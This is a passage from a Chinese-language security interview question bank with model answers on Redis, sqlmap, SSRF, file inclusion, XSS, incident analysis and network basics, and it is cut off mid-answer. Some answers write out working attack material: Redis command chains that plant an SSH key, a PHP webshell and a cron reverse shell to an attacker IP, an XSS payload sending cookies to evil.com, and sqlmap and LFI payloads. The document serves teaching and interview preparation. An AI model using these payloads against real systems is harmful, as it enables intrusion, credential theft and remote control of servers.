- 未实现RBAC（基于角色的访问控制）
- 功能权限和数据权限未分离

常见存在越权的功能点：

- 用户信息查看/编辑（修改ID查看他人信息）

- 订单管理（查看/操作他人订单）
- 文件下载（修改文件ID下载他人文件）
- 密码修改（修改参数重置他人密码）
- 支付操作（修改金额/收款对象）
- 管理后台功能（普通用户访问管理接口）
- API接口（批量接口未做权限过滤）
- 删除操作（删除他人数据/评论/文章）

第32题：SQLmap利用Redis获取权限

问题：SQLmap是如何利用Redis数据库获取到服务器的账号权限？

标准答案：

当SQL注入点在Redis相关的应用中，或者通过SQL注入获取到Redis未授权访问权限后，可以利用Redis获取服务器权限：

利用链：

1. 通过SQL注入获取Redis信息：

- 使用SQLmap获取到数据库中存储的Redis连接信息（地址、密码等）
- 或直接通过注入点探测Redis服务

2. Redis未授权写入SSH公钥：

```
1 | CONFIG SET dir /root/.ssh/  
2 | CONFIG SET dbfilename authorized_keys  
3 | SET crackit "\n\nssh-rsa AAAA...攻击者公钥...\n\n"  
4 | SAVE
```

然后通过SSH私钥直接登录服务器

3. Redis写入Webshell：

```
1 | CONFIG SET dir /var/www/html/  
2 | CONFIG SET dbfilename shell.php  
3 | SET webshell "<?php @eval($_POST['cmd']);?>"  
4 | SAVE
```

然后通过Web访问执行命令

4. Redis写入定时任务反弹Shell：

```
1 | CONFIG SET dir /var/spool/cron/  
2 | CONFIG SET dbfilename root  
3 | SET cron "\n\n*/1 * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n\n"  
4 | SAVE
```

5. 主从复制加载恶意模块（Redis < 5.0）：

- 利用Redis主从复制机制加载恶意.so模块
- 实现任意命令执行

第33题：Redis默认端口与MySQL区别

问题： Redis数据库默认的端口是哪一个？ 它和MySQL数据库的区别是什么？

标准答案：

Redis默认端口： 6379

Redis vs MySQL区别：

对比维度	Redis	MySQL
类型	内存Key-Value数据库	关系型数据库
存储方式	内存（可持久化到磁盘）	磁盘存储
数据结构	String/Hash/List/Set/ZSet等	表（行+列）
查询语言	自有命令（GET/SET/HGET等）	SQL
事务	简单事务（原子性执行）	完整ACID事务
性能	极高（10万+ QPS）	较高
持久化	RDB快照/AOF日志	支持
适用场景	缓存、会话管理、排行榜、消息队列	业务数据存储、复杂查询
数据量	受内存限制	可存储TB级数据
默认端口	6379	3306
关联/JOIN	不支持	支持
开源协议	BSD/SSPL	GPL

第34题：SSRF漏洞详解

问题： 什么是SSRF漏洞？

标准答案：

SSRF（Server-Side Request Forgery，服务器端请求伪造） 是一种由攻击者构造请求，让服务端代为发起网络请求的安全漏洞。

漏洞原理：

- 服务端提供了根据用户输入的URL获取远程资源的功能
- 未对URL进行严格校验，攻击者可构造恶意URL
- 服务端发起请求时，可以访问到攻击者指定的目标（内网服务、本地文件等）

常见存在SSRF的功能：

- 在线翻译（输入URL翻译网页内容）
- 图片加载/缩略图生成（从URL加载图片）
- 文件上传（从URL下载文件）
- 头像上传（从URL获取头像）
- 网站截图服务

SSRF的利用方式：

1. 扫描内网端口（根据响应判断端口开放状态）
2. 获取内网服务Banner信息
3. 读取云元数据（`http://169.254.169.254/`）
4. 利用 `file://` 协议读取本地文件
5. 利用 `gopher://` 协议攻击内网服务
6. 攻击内网Web应用/API

防御措施：

- URL白名单校验
- 禁止访问内网IP段
- 禁用不必要的协议（`file://`、`gopher://`等）
- 统一错误信息，防止端口探测
- 使用DNS重绑定防护

第35题：文件包含漏洞

问题：文件包含漏洞，你有在真实环境下挖掘到过吗？

标准答案：

【此题为经验性问题，以下为参考回答思路】

文件包含漏洞原理：

当服务端使用 `include()` / `require()` 等函数包含文件时，如果被包含的文件路径可控，攻击者可以包含恶意文件执行代码。

分类：

- **本地文件包含（LFI）**：包含服务器本地文件
- **远程文件包含（RFI）**：包含远程URL文件（需 `allow_url_include=On`）

常见利用方式：

- 配合图片马：上传含PHP代码的图片，通过LFI包含执行
- PHP伪协议：
 - `php://filter/read=convert.base64-encode/resource=index.php`（读取源码）
 - `php://input`（包含POST数据）

- `data://text/plain,<?php phpinfo();?>`
- `phar://`（包含压缩文件中的PHP代码）
- 日志文件包含：包含Web访问日志（需写入恶意代码到日志）
- `/proc/self/environ` 包含（旧版PHP）

常见功能点：

- 模板加载功能
- 多语言切换
- 动态页面加载（`?page=xxx`）

第36题：Burp Suite常用插件

问题：Burp Suite你常用的插件有哪些？

标准答案：

Burp Suite常用插件（BApp Store）：

1. **Autorize** — 自动化越权检测，配置低权限Cookie后自动检测所有请求的越权情况
2. **HaE (Highlight and Extract)** — 高亮提取响应中的敏感信息（手机号、身份证、邮箱、API Key等）
3. **Turbo Intruder** — 高速暴力破解工具，比内置Intruder快很多
4. **JS Link Finder** — 自动提取JS文件中的URL路径和API接口
5. **JWT Editor** — JWT Token编辑和攻击（修改Claim、暴力破解密钥等）
6. **Log4j2 Scan** — Log4j2漏洞检测
7. **Software Vulnerability Scanner** — 基于组件版本的漏洞扫描
8. **Param Miner** — 自动发现隐藏参数
9. **Active Scan++** — 增强主动扫描能力
10. **Hackvector** — 编码/解码转换器
11. **Logger++** — 增强版HTTP日志记录
12. **Copy As Python-Requests** — 将请求复制为Python代码
13. **DOM Invader** — DOM XSS检测
14. **Collaborator Everywhere** — 结合Burp Collaborator检测后端漏洞

第37题：sqlmap进行Cookie注入

问题：如何利用sqlmap进行Cookie注入？

标准答案：

Cookie注入原理：

当服务端从Cookie中读取参数并拼接到SQL查询中时，就存在Cookie注入的可能。

sqlmap利用方法：

1. 使用 `--cookie` 参数指定Cookie：

```
1 sqlmap -u "http://target.com/page" --cookie="id=1;name=test" -p id
```

2. 使用 `--level` 提高检测级别：

```
1 sqlmap -u "http://target.com/page" --level=3
```

(level=3时sqlmap会检测Cookie和User-Agent)

3. 使用 `-p` 指定注入参数：

```
1 sqlmap -u "http://target.com/page" --cookie="id=1" -p id --dbs
```

4. 完整示例：

```
1 sqlmap -u "http://target.com/dashboard" \  
2 --cookie="session_id=abc123;user_id=456" \  
3 -p user_id \  
4 --level=3 --risk=2 \  
5 --dbs --batch
```

5. 使用 `--prefix` 和 `suffix` 处理特殊场景：

```
1 sqlmap -u "http://target.com/page" --cookie="id=1" -p id --prefix="')\" --  
suffix="-- --"
```

第38题：sqlmap进行POST注入

问题：使用sqlmap进行POST注入的方法。

标准答案：

sqlmap POST注入方法：

1. 使用 `--data` 参数直接传POST数据：

```
1 sqlmap -u "http://target.com/login" --data="username=admin&password=123" -p  
username
```

2. 使用 `-r` 参数读取请求文件（推荐）：

- 从Burp Suite复制完整请求保存为文件

```
1 sqlmap -r request.txt -p username --dbs
```

request.txt内容示例：

```
1 POST /login HTTP/1.1
2 Host: target.com
3 Content-Type: application/x-www-form-urlencoded
4
5 username=admin&password=123
```

3. 使用 `--method` 指定POST方法:

```
1 sqlmap -u "http://target.com/api/user" --method=POST --data='{"id":1}' --dbs
```

4. JSON格式POST注入:

```
1 sqlmap -u "http://target.com/api" --data='{"id":"1"}' --dbms=mysql -p id
```

5. 常用参数组合:

```
1 sqlmap -r request.txt -p username --dbs --batch --threads=10 --
  tamper=space2comment
```

第39题: XSS漏洞分类与DOM型XSS

问题: XSS漏洞的分类? DOM型和另外两种(反射型、存储型)本质上有什么区别? 利用DOM型XSS能获取哪些信息? 具体操作怎么做?

标准答案:

XSS分类:

1. 反射型XSS (非持久型):

- 恶意代码在URL参数中, 服务端接收后直接"反射"回页面
- 需要诱导用户点击恶意链接
- 不存储在服务器

2. 存储型XSS (持久型):

- 恶意代码存储在服务端数据库中
- 所有访问该页面的用户都会执行
- 危害最大

3. DOM型XSS (基于DOM):

- 恶意代码不经过服务端, 在前端JavaScript中处理DOM时触发
- 输入来源: `document.URL`、`document.referrer`、`location.hash`、`window.name` 等
- 触发点: `innerHTML`、`document.write`、`eval()` 等

DOM型XSS与其他两种的本质区别:

- 反射型和存储型 的恶意代码经过服务端处理 (服务端将用户输入嵌入HTML响应)
- DOM型 的恶意代码完全不经过服务端, 纯前端JS逻辑处理不当导致

DOM型XSS可利用获取的信息:

- Cookie (`document.cookie`)
- LocalStorage/SessionStorage数据
- 页面DOM结构 (可能含敏感信息)
- 用户输入内容 (键盘记录)
- 浏览器信息、屏幕分辨率等

操作步骤：

1. 找到DOM型XSS的输入点 (URL hash、参数等)
 2. 构造Payload: `http://target.com/page#<img src=x onerror=alert(document.cookie)>`
 3. 利用窃取Cookie: `<img src=x onerror=new Image().src='http://evil.com/?c='+document.cookie>`
 4. 使用BeEF等框架进行进一步控制
-

第40题：Goby的POC使用

问题： 你使用Goby的时候，POC是怎么弄的？

标准答案：

Goby POC使用方式：

1. **使用内置POC：**
 - Goby自带大量漏洞扫描POC
 - 在扫描配置中选择对应的漏洞POC即可
2. **从Goby POC市场获取：**
 - Goby官方提供POC市场
 - 可以在线搜索和下载社区/官方提供的POC
3. **自行编写POC：**
 - Goby支持Go语言和JSON格式编写POC
 - JSON格式POC结构包含：目标信息、请求构造、匹配规则等
 - 可参考Goby官方文档中的POC编写规范
4. **导入第三方POC：**
 - 从其他平台获取POC后转换为Goby格式
 - 导入到Goby的自定义POC目录
5. **POC编写要点：**
 - 明确漏洞触发路径和参数
 - 设置准确的匹配规则 (响应码、关键字、正则等)
 - 避免产生破坏性操作

【待补充：Goby POC的具体编写语法细节】

第41题：MySQL版本差异

问题：MySQL数据库版本的差异性主要发生在哪个版本？

标准答案：

MySQL版本差异主要体现在以下几个关键版本节点：

1. **MySQL 5.0**：引入存储过程、视图、触发器、游标等
2. **MySQL 5.5（重要分界）**：
 - 默认存储引擎从MyISAM变为InnoDB
 - 支持 `SIGNAL / RESIGNAL` 异常处理
 - 性能提升显著
3. **MySQL 5.6**：
 - 支持全文索引（InnoDB）
 - InnoDB支持 `DATETIME` 微秒精度
 - `innodb_file_per_table` 默认开启
 - GTID复制支持
4. **MySQL 5.7（重要分界）**：
 - 默认启用 `ONLY_FULL_GROUP_BY`
 - `password()` 函数变化
 - JSON数据类型支持
 - 多源复制
 - `information_schema` 中的部分表结构变化
 - **对SQL注入影响**：GROUP BY行为变化影响UNION注入
5. **MySQL 8.0（当前主流）**：
 - 默认认证插件从 `mysql_native_password` 变为 `caching_sha2_password`
 - 支持窗口函数（Window Functions）
 - CTE（公用表表达式）支持
 - 数据字典重构（基于InnoDB）
 - **对SQL注入影响**：认证方式变化影响sqlmap连接方式

SQL注入中关注版本差异的原因：

- 不同版本的函数名不同（如 `user()` vs `current_user()`）
 - 文件路径差异
 - 认证机制差异
 - 某些注入手法在特定版本才有效
-

第42题：MySQL提权前置条件

问题：利用MySQL进行提权的前置条件有哪些？

标准答案：

MySQL提权的前置条件：

1. 获取MySQL高权限账户：

- 至少需要 `root@localhost` 或具有 `FILE`、`SUPER` 权限的账户
- 通常需要MySQL的root密码

2. MySQL以高权限运行：

- MySQL服务以root/system权限运行
- 检查MySQL进程的运行用户

3. 特定提权方式的前置条件：

a. UDF（用户自定义函数）提权：

- MySQL root权限
- 可创建函数（`CREATE FUNCTION` 权限）
- 可上传.so文件到插件目录
- `plugin_dir` 可写或有其他可写目录

b. MOF（托管对象格式）提权（Windows）：

- MySQL root权限
- FILE权限
- 目标为Windows系统
- 可写入 `C:\windows\System32\wbem\mof\` 目录

c. 启动项提权（Windows）：

- MySQL root权限
- FILE权限
- 可写入启动项目录

d. 利用MySQL执行系统命令：

- `secure_file_priv` 为空或包含目标目录
- `general_log` 可利用（写入webshell或命令到日志文件）

4. 关键配置检查：

- `secure_file_priv`：限制文件读写目录
 - `secure_file_priv=''`（空）表示无限制
 - `secure_file_priv=NULL` 表示禁止文件操作
-

第43题：Linux临时目录

问题：针对Linux系统，你了解哪些临时目录？

标准答案：

Linux临时目录：

1. `/tmp` — 最常用的临时目录
 - 所有用户可读写（权限1777，sticky bit）
 - 系统重启后可能被清空
 - 常用于存放临时文件、脚本执行中间结果
2. `/var/tmp` — 持久性临时目录
 - 与/tmp类似，但重启后通常保留
 - 适合存放需要跨重启保留的临时数据
3. `/dev/shm` — 共享内存
 - tmpfs文件系统，存在于内存中
 - 读写速度极快
 - 重启后消失
 - 默认大小为物理内存的一半
4. `/run` — 运行时临时数据
 - tmpfs文件系统
 - 存放系统运行时的PID文件、socket文件等
 - 重启后清空
5. `/var/run` — 指向 `/run` 的符号链接
6. 用户级临时目录：
 - `$HOME/tmp`（某些发行版配置）
 - `$XDG_RUNTIME_DIR`（通常为 `/run/user/<uid>`）

安全注意事项：

- `/tmp`目录可能被其他用户写入恶意文件
- 在/tmp执行脚本需注意符号链接攻击
- 建议使用 `mktemp` 创建安全的临时文件

第44题：空间测绘引擎

问题：网络空间测绘引擎你用过哪些？空间搜索引擎有哪些缺陷？

标准答案：

常见的网络空间测绘引擎：

1. **Shodan** — 最早的物联网/网络设备搜索引擎

2. **FOFA** — 国内知名的网络空间搜索引擎
3. **ZoomEye（钟馗之眼）** — 知道创宇出品
4. **Hunter** — 奇安信出品
5. **Quake** — 360出品
6. **Censys** — 学术型互联网扫描引擎
7. **Google Hacking** — 利用Google搜索引擎进行信息收集

空间搜索引擎的缺陷：

1. **数据时效性：** 扫描数据不是实时的，存在滞后
2. **覆盖不完整：** 无法扫描所有IP/端口，存在遗漏
3. **误报/误判：** 服务识别可能不准确
4. **蜜罐干扰：** 蜜罐/欺骗防御系统会产生虚假结果
5. **法律风险：** 大规模扫描可能涉及法律合规问题
6. **深度有限：** 通常只做端口级别扫描，无法深入应用层
7. **动态IP问题：** CDN、NAT、动态IP导致归属判断不准
8. **被目标反制：** 可能被目标识别为扫描源并封禁

第45题：APT溯源分析的流量类型

问题： 你在进行APT溯源分析时，获取到的流量主要偏向于哪种类型？

标准答案：

【此题为经验性问题，以下为参考回答思路】

APT溯源分析中常见的流量类型：

1. **C2通信流量（命令与控制）：**
 - 木马/后门与控制服务器的通信
 - 常见协议：HTTP/HTTPS、DNS隧道、自定义TCP协议
 - 特征：周期性心跳、加密通信、异常域名
2. **横向移动流量：**
 - 内网中的SMB/RDP/Mimikatz等攻击流量
 - 域认证流量（Kerberos票据异常）
 - PsExec/WMI远程执行流量
3. **数据外泄流量（Exfiltration）：**
 - 大量数据传出（DNS外泄、HTTP POST、FTP上传）
 - 编码/加密的异常流量
4. **初始入侵流量：**
 - 钓鱼邮件中的恶意链接点击
 - 漏洞利用流量（如Web攻击流量）

- 恶意文件下载流量

5. DNS异常流量：

- DNS隧道通信
- DGA（域名生成算法）域名查询
- 异常DNS请求频率

流量获取来源：

- 全流量分析设备（如Bro/Zeek）
- IDS/IPS告警日志
- 防火墙/代理日志
- PCAP抓包文件
- EDR/主机日志

第46题：文件上传日志分析

问题：以文件上传类型攻击为例，在日志分析中如何判断上传的文件是恶意的，行为是恶意的？

标准答案：

判断文件恶意性的方法：

1. 文件名分析：

- 异常扩展名：`.php`、`.jsp`、`.asp`、`.aspx`、`.phtml` 等脚本文件
- 双扩展名：`shell.php.jpg`
- 特殊字符：`shell.php::$DATA`、`shell.php .`
- 名称异常：与正常业务无关的文件名

2. 文件内容分析：

- 包含恶意代码特征：`eval()`、`system()`、`exec()`、`base64_decode()`
- 包含Webshell特征：`$_POST`、`$_GET`、`$_REQUEST` 配合执行函数
- 文件头与扩展名不匹配（如.php文件包含GIF89a头）
- 文件体积异常

3. 行为分析（关键）：

- 上传后文件被执行（HTTP响应中有脚本执行结果）
- 上传目录出现非预期类型的文件
- 文件被访问后触发命令执行（访问shell.php后执行了系统命令）
- 文件上传后建立反向连接
- Web服务器日志中出现对上传文件的异常请求

4. 日志关联分析：

- Web访问日志：查看上传文件的访问记录
- 系统日志：查看是否有异常进程创建

- 网络流量日志：查看是否有反向连接
 - 数据库日志：查看是否有数据被篡改
-

第47题：Office宏病毒检测

问题：Office文件曾经暴露过宏病毒，如何判断文件是否是正常的？

标准答案：

Office宏病毒的检测方法：

1. 文件扩展名检查：

- `.docx`、`.xlsx`、`.pptx` — 不支持宏（安全）
- `.docm`、`.xlsm`、`.pptm` — 支持宏（需警惕）
- `.doc`、`.xls` — 旧格式，可能含宏

2. 检查是否包含宏：

- 打开文件 → 开发工具 → 查看宏
- 使用 `olevba` 工具提取VBA宏代码
- 检查VBA项目是否存在

3. 宏代码分析（关键）：

- `AutoOpen/AutoExec/Auto_Open` — 打开文件自动执行的宏（高度可疑）
- `Shell/ShellExecute/WScript.Shell` — 调用系统命令
- `URLDownloadToFile` — 下载远程文件
- `CreateObject("Scripting.FileSystemObject")` — 文件操作
- `Base64编码/混淆代码` — 隐藏恶意逻辑
- `PowerShell/CMD调用` — 执行系统命令

4. 静态分析工具：

- `olevba` (python-oletools) — 提取和分析VBA宏
- `file` 命令 — 检查文件类型
- `yara` 规则 — 匹配已知恶意宏特征
- VirusTotal — 多引擎扫描

5. 动态分析：

- 在隔离沙箱中打开文件
- 监控进程创建、文件操作、网络连接
- 使用Procmon/Wireshark监控行为

6. 其他检测手段：

- 检查文件数字签名
 - 检查文件是否来自可信来源
 - 检查是否有异常的OLE嵌入对象
-

第48题：文件检测不一致的原因分析

问题：一个文件本地可以正常打开，流量监测设备触发异常告警，但放到虚拟机和沙箱里显示正常无毒。导致这个问题的原因有哪些？

标准答案：

原因分析：

1. 反沙箱/反虚拟机技术：

- 恶意代码检测到虚拟机/沙箱环境（检测VMware工具进程、注册表特征、MAC地址前缀等）后不执行恶意行为
- 检测鼠标移动、键盘输入等用户交互行为
- 检测系统运行时间（沙箱通常启动时间短）
- 检测CPU核心数、内存大小等硬件特征

2. 环境依赖触发：

- 恶意代码只在特定环境（如特定域名、特定IP段）下触发
- 需要特定的域名解析才能激活
- 需要特定的文件或注册表项存在
- 需要特定的网络连接（如DNS查询特定域名）

3. 时间延迟触发：

- 恶意行为在一段时间后会执行
- 沙箱分析时间不足，未等到恶意行为触发

4. 流量设备误报：

- 流量监测设备的规则过于敏感
- 文件中包含某些特征字符串导致误报
- 网络签名匹配到合法流量模式

5. 分阶段执行：

- 第一阶段（本地打开）执行合法行为
- 需要外部触发（如C2下发指令）才进入第二阶段

6. 沙箱逃逸检测：

- 恶意代码检测到被分析环境后主动"装正常"
- 使用白加黑技术，合法程序加载恶意DLL（沙箱中DLL未被加载）

7. 网络环境差异：

- 沙箱网络环境与真实环境不同
 - 某些C2域名在沙箱网络中无法解析
-

第49题：区分SQL注入攻击与正常操作

问题：在SQL注入漏洞分析中，怎么区分SQL注入相关的数据库操作行为是正常业务操作还是恶意攻击？

标准答案：

区分方法：

1. SQL语句特征分析：

- **攻击特征：** 包含 `UNION SELECT`、`SLEEP()`、`BENCHMARK()`、`information_schema`、`LOAD_FILE()` 等
- **攻击特征：** 包含大量单引号、注释符 `--`、`#`
- **正常业务：** 使用参数化查询/预编译语句
- **正常业务：** SQL语句结构固定、参数化

2. 请求参数分析：

- **攻击：** 参数中包含SQL关键字、特殊字符
- **攻击：** 参数值异常长、包含编码后的payload
- **正常：** 参数值为预期的数据类型和格式

3. 请求频率与模式：

- **攻击：** 短时间内大量请求，参数不断变化（枚举/爆破）
- **攻击：** 同一接口反复请求，每次参数不同
- **正常：** 请求频率符合正常使用模式

4. 响应特征：

- **攻击：** 响应中出现数据库报错信息
- **攻击：** 响应时间异常（时间盲注）
- **攻击：** 响应数据包含非预期的数据库信息

5. 来源分析：

- **攻击：** 来源IP异常（非业务相关地区/已知恶意IP）
- **攻击：** User-Agent异常（sqlmap默认UA等）
- **攻击：** 缺少正常请求头

6. 上下文分析：

- 结合业务逻辑判断请求是否合理
- 对比正常用户的操作模式
- 查看同一session的其他请求

第50题：Redis相关漏洞

问题：Redis数据库和它相关的漏洞你了解过哪些？

标准答案：

Redis相关漏洞：

1. 未授权访问漏洞（最常见）：

- Redis默认不设置密码，绑定0.0.0.0
- 攻击者可直接连接Redis，执行任意命令
- 利用方式：写SSH公钥、写Webshell、写定时任务

2. Lua沙箱逃逸（CVE-2022-24834等）：

- Redis的Lua沙箱存在逃逸漏洞
- 通过 `loadfile()` / `load()` 函数执行任意Lua代码
- 影响Redis < 7.0.x版本

3. Redis命令注入：

- 通过Redis协议注入恶意命令
- RESP协议解析漏洞

4. 主从复制RCE：

- 利用 `MODULE LOAD` 或 `SLAVEOF` 加载恶意模块
- 工具：RedisModulesSlave

5. SSRF利用Redis：

- 通过 `gopher://` 协议利用SSRF攻击内网Redis
- 构造Redis命令的gopher URL

6. 缓冲区溢出：

- 历史版本中存在多个缓冲区溢出漏洞
- 如CVE-2015-8080（堆溢出）

7. 危险命令未禁用：

- `FLUSHALL` / `FLUSHDB` — 清空数据库
- `CONFIG SET` — 修改配置
- `DEBUG` — 调试命令
- `EVAL` — 执行Lua脚本

安全加固建议：

- 设置强密码（`requirepass`）
 - 绑定本地IP（`bind 127.0.0.1`）
 - 禁用危险命令（`rename-command`）
 - 以低权限用户运行Redis
 - 开启AOF/RDB持久化保护
-

第51题：常见默认端口

问题： 常见的服务和协议默认开放的端口有哪些？

标准答案：

常见服务默认端口：

端口	服务	说明
21	FTP	文件传输协议
22	SSH	安全Shell
23	Telnet	远程登录（明文）
25	SMTP	邮件发送
53	DNS	域名解析
67/68	DHCP	动态主机配置
69	TFTP	简单文件传输
80	HTTP	超文本传输
110	POP3	邮件接收
111	RPC	远程过程调用
123	NTP	网络时间协议
135	MS RPC	Windows RPC
137-139	NetBIOS	Windows网络
143	IMAP	邮件接收
161/162	SNMP	简单网络管理
389	LDAP	轻量目录访问
443	HTTPS	安全HTTP
445	SMB	文件共享
465	SMTPS	安全SMTP
512-514	RSH/Rlogin/Syslog	远程Shell/日志
554	RTSP	实时流协议
873	Rsync	文件同步
888	—	常见Web服务
1080	SOCKS	代理

端口	服务	说明
1433	SQL Server	微软数据库
1434	SQL Server Browser	SQL Server浏览
1521	Oracle	Oracle数据库
2049	NFS	网络文件系统
2375	Docker	Docker API
3128	Squid	代理
3306	MySQL	MySQL数据库
3389	RDP	远程桌面
5432	PostgreSQL	PostgreSQL数据库
5900	VNC	远程桌面
5984	CouchDB	CouchDB数据库
6379	Redis	Redis数据库
7001	WebLogic	Oracle中间件
8000/8080	HTTP Alt	备用HTTP/应用服务器
8443	HTTPS Alt	备用HTTPS
9200	Elasticsearch	ES数据库
9300	—	ES集群通信
11211	Memcached	缓存数据库
27017	MongoDB	MongoDB数据库

第52题：安全设备

问题： 你接触过哪些安全设备？

标准答案：

【参考回答】

常见安全设备：

1. **防火墙（Firewall）：** 网络访问控制，基于规则过滤流量
2. **WAF（Web应用防火墙）：** 防护Web攻击（SQL注入、XSS等）
3. **IDS/IPS（入侵检测/防御系统）：** 检测/阻断网络攻击行为
4. **态势感知/SOC平台：** 安全事件集中管理和分析

- 5. 堡垒机（运维安全审计）：记录和审计运维操作
- 6. 日志审计系统/SIEM：日志集中收集和分析
- 7. 漏洞扫描器：如Nessus、AWVS、Xray等
- 8. EDR（终端检测与响应）：终端安全防护和行为监控
- 9. 数据库审计：数据库操作审计
- 10. 流量分析设备：全流量捕获和分析（如Bro/Zeek）
- 11. 沙箱/恶意代码分析平台：恶意文件动态分析
- 12. DLP（数据防泄漏）：防止敏感数据外泄
- 13. 上网行为管理：控制内网用户的上网行为
- 14. 邮件安全网关：过滤恶意邮件、钓鱼邮件
- 15. 蜜罐/蜜网：欺骗防御，诱捕攻击者

第53题：VLAN和安全域

问题：VLAN和安全域的区别清楚吗？

标准答案：

VLAN（Virtual LAN，虚拟局域网）：

- **定义：**在物理网络基础上逻辑划分出多个独立的广播域
- **作用：**隔离广播流量，提高网络安全性和性能
- **实现方式：**基于交换机端口、MAC地址、协议等划分
- **层级：**数据链路层（二层）技术
- **标识：**使用VLAN ID（1-4094）
- **目的：**主要解决广播域过大、网络分段问题

安全域：

- **定义：**根据安全策略将网络划分为不同的安全区域
- **作用：**实现不同安全等级区域的访问控制
- **划分依据：**业务重要程度、安全等级、信任程度
- **层级：**通常是网络层（三层）及以上的概念
- **实现方式：**通过防火墙、ACL等控制不同安全域之间的访问
- **典型划分：**DMZ区、内网核心区、办公区、开发测试区、管理区等

区别对比：

对比维度	VLAN	安全域
本质	网络分段技术	安全管理策略
层级	二层（数据链路层）	三层及以上
关注点	广播隔离、流量分离	安全等级、访问控制

对比维度	VLAN	安全域
实现方式	交换机VLAN配置	防火墙策略、ACL规则
粒度	较细（端口级别）	较粗（区域级别）
关系	技术实现手段	安全管理框架

实际应用中： VLAN常用于实现安全域的物理/逻辑隔离基础，安全域在VLAN之上叠加安全策略。一个安全域可以包含多个VLAN，一个VLAN也可能属于特定安全域。

第54题：个人优势

问题： 你觉得你自己身上最大的优势是什么？

标准答案：

【此题为开放性问题，以下为参考回答思路】

建议从以下几个角度回答：

- 1. **技术能力：** 扎实的攻防技术基础、实战经验丰富
- 2. **学习能力：** 安全领域技术更新快，持续学习的能力很重要
- 3. **实战经验：** 参加过HW、实际项目经验
- 4. **思维能力：** 善于从攻击者角度思考问题
- 5. **团队协作：** 安全工作需要与开发、运维等多部门配合
- 6. **责任心：** 安全工作的敏感性和责任感

第55题：白加黑DLL劫持

问题： 你在明确是采用了白加黑DLL劫持的时候，是你自己分析的吗？

标准答案：

【此题为经验性问题，以下为参考回答思路】

白加黑DLL劫持原理：

- "白"指的是合法签名的程序文件（白文件）
- "黑"指的是攻击者构造的恶意DLL文件
- 合法程序启动时按照DLL搜索顺序加载DLL，如果攻击者将恶意DLL放置在优先搜索路径中，合法程序就会加载恶意DLL
- 由于主程序是合法签名的，可以绕过部分安全检测

分析方法：

- 1. **进程分析：** 查看可疑进程的加载模块列表（Process Hacker/Process Explorer）
- 2. **DLL签名检查：** 检查加载的DLL是否有合法签名
- 3. **DLL路径分析：** 检查DLL文件所在路径是否异常

4. **API监控**：使用API Monitor/Procmon监控 LoadLibrary 调用
 5. **哈希比对**：对比DLL哈希与已知正常版本是否一致
 6. **特征分析**：检查DLL中是否包含恶意导出函数
-

第56题：安全事件研判分析

问题： 你在做安全事件研判分析的时候，前期要做什么准备？需要注意哪些信息？

标准答案：

前期准备：

1. 信息收集：

- 收集告警信息（时间、来源IP、目标IP、告警类型）
- 获取相关日志（WAF日志、IDS日志、系统日志、应用日志）
- 获取流量数据（PCAP包）
- 了解受影响资产信息（业务类型、重要程度、负责人）

2. 环境了解：

- 了解目标网络架构
- 了解相关业务的正常访问模式
- 确认已知的安全设备和规则配置

3. 工具准备：

- 日志分析工具（如ELK、Splunk）
- 流量分析工具（Wireshark、tcpdump）
- 恶意文件分析工具（沙箱、Cuckoo）

研判过程中需要注意的信息：

1. **攻击链阶段判断**：处于Kill Chain的哪个阶段（侦察、武器化、交付、利用、安装、C2、目标达成）
 2. **误报排除**：确认是否为安全设备误报
 3. **攻击源分析**：攻击者IP归属、是否为已知恶意IP
 4. **攻击手法识别**：使用的漏洞类型、攻击工具
 5. **影响范围评估**：受影响的资产和数据
 6. **是否成功**：判断攻击是否成功（关键！）
 - 查看响应状态码
 - 查看是否有后续异常行为
 - 查看目标系统是否有异常
 7. **IOC提取**：提取攻击指标（IP、域名、文件哈希、URL等）
 8. **溯源线索**：攻击者留下的痕迹（User-Agent、邮箱、社交信息等）
-

第57题：加密流量的渗透测试思路

问题： 渗透测试中抓包发现数据都是加密的，有什么思路？

标准答案：

加密流量分析思路：

1. 判断加密类型：

- **HTTPS/TLS加密：** 使用TLS证书加密传输
- **自定义加密：** 应用层自定义加密算法
- **参数加密：** 仅部分参数加密（如密码字段）

2. HTTPS/中间人抓包：

- 安装中间人CA证书到客户端（手机/浏览器）
- 使用Burp Suite/Fiddler/Charles做中间人代理
- 手机端：安装CA证书 + 配置代理 + 处理证书绑定（SSL Pinning）

3. 绕过SSL Pinning：

- Android：使用Xposed/Frida + JustTrustMe/SSLUnpinning模块
- iOS：使用Frida + 相关脚本
- 修改APK重打包

4. 自定义加密分析：

- 反编译APK/客户端，找到加密算法实现
- 分析加密密钥的来源和生成方式
- Hook加密/解密函数获取明文
- 常见加密：AES/DES/RSA/自定义异或

5. 客户端逆向分析：

- 使用JADX/GDA反编译Java
- 使用IDA Pro分析Native库（.so/.dll）
- 使用Frida动态Hook

6. API层面突破：

- 如果不关注加密数据内容，直接分析API的调用逻辑
- 通过逆向客户端找到API调用方式，直接构造请求
- 分析加密参数是否可以绕过

7. 其他思路：

- 检查是否有未加密的接口可以访问
 - 分析客户端本地存储（SharedPreferences/数据库）获取敏感数据
 - 利用内存dump获取加密密钥
-

第58题：AI工具使用

问题：你平时都用哪些AI工具？用AI做过哪些事情？AI Agent了解吗？

标准答案：

【此题为开放性问题，以下为参考回答思路】

常见AI工具：

- ChatGPT/GPT-4 — 通用对话、代码辅助、文档编写
- Claude — 长文本分析、代码审查
- GitHub Copilot — 代码编写辅助
- Burp Suite AI辅助 — 漏洞分析
- 各类AI安全工具

AI在安全领域的应用：

- 辅助代码审计（发现潜在漏洞）
- 辅助编写PoC/Exp
- 日志分析和异常检测
- 钓鱼邮件识别
- 恶意代码分析辅助
- 安全报告撰写

AI Agent了解：

- AI Agent是能够自主感知环境、做出决策并执行行动的AI系统
- 与传统AI工具的区别：Agent具有自主规划、工具调用、多步推理能力
- 安全领域应用：自动化漏洞扫描Agent、安全运营Agent、威胁狩猎Agent
- 框架：AutoGPT、LangChain Agent等

第59题：数据库索引

问题：数据库的索引在什么场景下会使用？怎么使用？怎么调优？

标准答案：

使用场景：

1. **WHERE条件查询**：频繁作为查询条件的字段
2. **ORDER BY排序**：经常需要排序的字段
3. **JOIN连接**：作为表连接条件的字段
4. **GROUP BY分组**：经常需要分组的字段
5. **唯一性约束**：需要保证数据唯一性的字段

索引类型：

- **B+Tree索引**：最常用的索引类型，适合范围查询

- **Hash索引**：适合等值查询，不支持范围查询
- **全文索引**：用于全文搜索
- **联合索引**：多个字段的组合索引
- **前缀索引**：对字符串前缀建立索引

使用方法：

```
1  -- 创建索引
